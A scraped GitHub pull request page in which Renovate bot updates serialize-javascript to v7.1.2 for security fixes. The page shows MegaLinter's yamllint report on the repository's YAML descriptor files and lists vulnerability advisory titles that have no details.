megalinter/descriptors/java.megalinter-descriptor.yml 11ms (unchanged)
megalinter/descriptors/javascript.megalinter-descriptor.yml 11ms (unchanged)
megalinter/descriptors/json.megalinter-descriptor.yml 13ms (unchanged)
megalinter/descriptors/jsx.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/kotlin.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/kubernetes.megalinter-descriptor.yml 13ms (unchanged)
megalinter/descriptors/latex.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/lua.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/markdown.megalinter-descriptor.yml 10ms (unchanged)
megalinter/descriptors/perl.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/php.megalinter-descriptor.yml 31ms (unchanged)
megalinter/descriptors/powershell.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/protobuf.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/python.megalinter-descriptor.yml 78ms (unchanged)
megalinter/descriptors/r.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/raku.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/repository.megalinter-descriptor.yml 93ms (unchanged)
megalinter/descriptors/robotframework.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/rst.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/ruby.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/rust.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/salesforce.megalinter-descriptor.yml 24ms (unchanged)
megalinter/descriptors/scala.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/shared/biome.megalinter-linter.yml 4ms (unchanged)
megalinter/descriptors/shared/clang-format.megalinter-linter.yml 5ms (unchanged)
megalinter/descriptors/shared/cppcheck.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/shared/cpplint.megalinter-linter.yml 4ms (unchanged)
megalinter/descriptors/shared/dotnet-format.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/shared/eslint.megalinter-linter.yml 4ms (unchanged)
megalinter/descriptors/shared/prettier.megalinter-linter.yml 5ms (unchanged)
megalinter/descriptors/shared/v8r.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/snakemake.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/spell.megalinter-descriptor.yml 19ms (unchanged)
megalinter/descriptors/sql.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/swift.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/tekton.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/terraform.megalinter-descriptor.yml 27ms (unchanged)
megalinter/descriptors/tsx.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/typescript.megalinter-descriptor.yml 12ms (unchanged)
megalinter/descriptors/vbdotnet.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/xml.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/yaml.megalinter-descriptor.yml 6ms (unchanged)
server/docker-compose-dev.yml 4ms (unchanged)
server/docker-compose.yml 3ms (unchanged)
trivy-secret.yaml 1ms (unchanged)
zizmor.yml 2ms (unchanged)

(Truncated to last 5000 characters out of 12555)

⚠️ YAML / yamllint - 53 errors

.grype.yaml
  6:1       warning  missing document start "---"  (document-start)

mega-linter-runner/.eslintrc.yml
  11:9      warning  too few spaces inside empty braces  (braces)

mega-linter-runner/generators/mega-linter-custom-flavor/templates/megalinter-custom-flavor-builder.yml
  48:15     warning  too few spaces inside empty braces  (braces)

mega-linter-runner/generators/mega-linter-custom-flavor/templates/megalinter-custom-flavor.yml
  7:1       error    syntax error: could not find expected ':' (syntax)

mega-linter-runner/generators/mega-linter/templates/mega-linter.yml
  38:15     warning  too few spaces inside empty braces  (braces)
  69:11     error    syntax error: could not find expected ':' (syntax)

megalinter/descriptors/copypaste.megalinter-descriptor.yml
  19:301    warning  line too long (313 > 300 characters)  (line-length)
  25:301    warning  line too long (384 > 300 characters)  (line-length)

megalinter/descriptors/javascript.megalinter-descriptor.yml
  52:301    warning  line too long (475 > 300 characters)  (line-length)
  328:301   warning  line too long (307 > 300 characters)  (line-length)
  354:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/json.megalinter-descriptor.yml
  112:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/jsx.megalinter-descriptor.yml
  29:301    warning  line too long (475 > 300 characters)  (line-length)

megalinter/descriptors/perl.megalinter-descriptor.yml
  25:301    warning  line too long (310 > 300 characters)  (line-length)

megalinter/descriptors/php.megalinter-descriptor.yml
  200:301   warning  line too long (389 > 300 characters)  (line-length)
  214:301   warning  line too long (302 > 300 characters)  (line-length)

megalinter/descriptors/repository.megalinter-descriptor.yml
  27:301    warning  line too long (666 > 300 characters)  (line-length)
  193:301   warning  line too long (408 > 300 characters)  (line-length)
  299:301   warning  line too long (345 > 300 characters)  (line-length)
  537:301   warning  line too long (306 > 300 characters)  (line-length)
  616:301   warning  line too long (374 > 300 characters)  (line-length)
  701:301   warning  line too long (316 > 300 characters)  (line-length)
  1038:301  warning  line too long (1263 > 300 characters)  (line-length)
  1135:301  warning  line too long (879 > 300 characters)  (line-length)
  1149:301  warning  line too long (358 > 300 characters)  (line-length)
  1212:301  warning  line too long (346 > 300 characters)  (line-length)
  1219:301  warning  line too long (307 > 300 characters)  (line-length)

megalinter/descriptors/salesforce.megalinter-descriptor.yml
  54:301    warning  line too long (359 > 300 characters)  (line-length)
  158:301   warning  line too long (390 > 300 characters)  (line-length)
  170:301   warning  line too long (408 > 300 characters)  (line-length)
  174:301   warning  line too long (413 > 300 characters)  (line-length)

megalinter/descriptors/spell.megalinter-descriptor.yml
  181:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/sql.megalinter-descriptor.yml
  27:301    warning  line too long (403 > 300 characters)  (line-length)

megalinter/descriptors/terraform.megalinter-descriptor.yml
  28:301    warning  line too long (330 > 300 characters)  (line-length)
  43:301    warning  line too long (330 > 300 characters)  (line-length)
  97:301    warning  line too long (346 > 300 characters)  (line-length)
  164:301   warning  line too long (328 > 300 characters)  (line-length)
  239:301   warning  line too long (307 > 300 characters)  (line-length)
  250:301   warning  line too long (386 > 300 characters)  (line-length)
  304:301   warning  line too long (302 > 300 characters)  (line-length)
  319:301   warning  line too long (334 > 300 characters)  (line-length)
  329:301   warning  line too long (525 > 300 characters)  (line-length)
  339:301   warning  line too long (315 > 300 characters)  (line-length)
  343:301   warning  line too long (436 > 300 characters)  (line-length)

megalinter/descriptors/tsx.megalinter-descriptor.yml
  29:301    warning  line too long (475 > 300 characters)  (line-length)

megalinter/descriptors/typescript.megalinter-descriptor.yml
  39:301    warning  line too long (475 > 300 characters)  (line-length)
  318:301   warning  line too long (314 > 300 characters)  (line-length)
  344:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/yaml.megalinter-descriptor.yml
  38:301    warning  line too long (315 > 300 characters)  (line-length)

mkdocs.yml
  8:301     warning  line too long (590 > 300 characters)  (line-length)
  86:5      warning  wrong indentation: expected 6 but found 4  (indentation)
  100:5     warning  wrong indentation: expected 6 but found 4  (indentation)

zizmor.yml
  1:1       warning  missing document start "---"  (document-start)

✅ Linters with no issues

actionlint, bash-exec, betterleaks, black, checkov, cspell, flake8, git_diff, hadolint, isort, jscpd, jsonlint, markdown-table-formatter (10 fixes), mypy, npm-groovy-lint, pylint, ruff, secretlint, shellcheck, shfmt, spectral, syft, trivy-sbom, trufflehog, v8r, v8r, xmllint, zizmor

See detailed reports in MegaLinter artifacts

Show us your support by starring ⭐ the repository

chore(deps): update dependency serialize-javascript to v7.1.2 [security]

3feeeb0

renovate Bot added the dependencies Pull requests that update a dependency file label Oct 4, 2026

renovate Bot requested a review from echoix as a code owner October 4, 2026 11:30

renovate Bot added the dependencies Pull requests that update a dependency file label Oct 4, 2026

renovate Bot had a problem deploying to dev October 4, 2026 11:30 Failure

Navigation Menu

Repository navigation

chore(deps): update dependency serialize-javascript to v7.1.2 [security] - #369

chore(deps): update dependency serialize-javascript to v7.1.2 [security]#369
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-serialize-javascript-vulnerability

renovate Bot commented Oct 4, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Oct 4, 2026

Uh oh!

This branch had an error being deployed

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Oct 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Details

Impact

Patches

Severity

References

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

Details

Impact

Patches

Workarounds

Acknowledgements

Severity

References

Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script> in serialized function bodies

Details

Impact

Patches

Workarounds

Regression note

Severity

References

Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script> in serialized function bodies

Details

Impact

Patches

Workarounds

Regression note

Severity

References

Release Notes

v7.1.2

Configuration

Uh oh!

github-actions Bot commented Oct 4, 2026

❌MegaLinter analysis: Error

✅ Linters with no issues

Uh oh!

This branch had an error being deployed

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Oct 4, 2026 •

edited

Loading

`v7.1.2`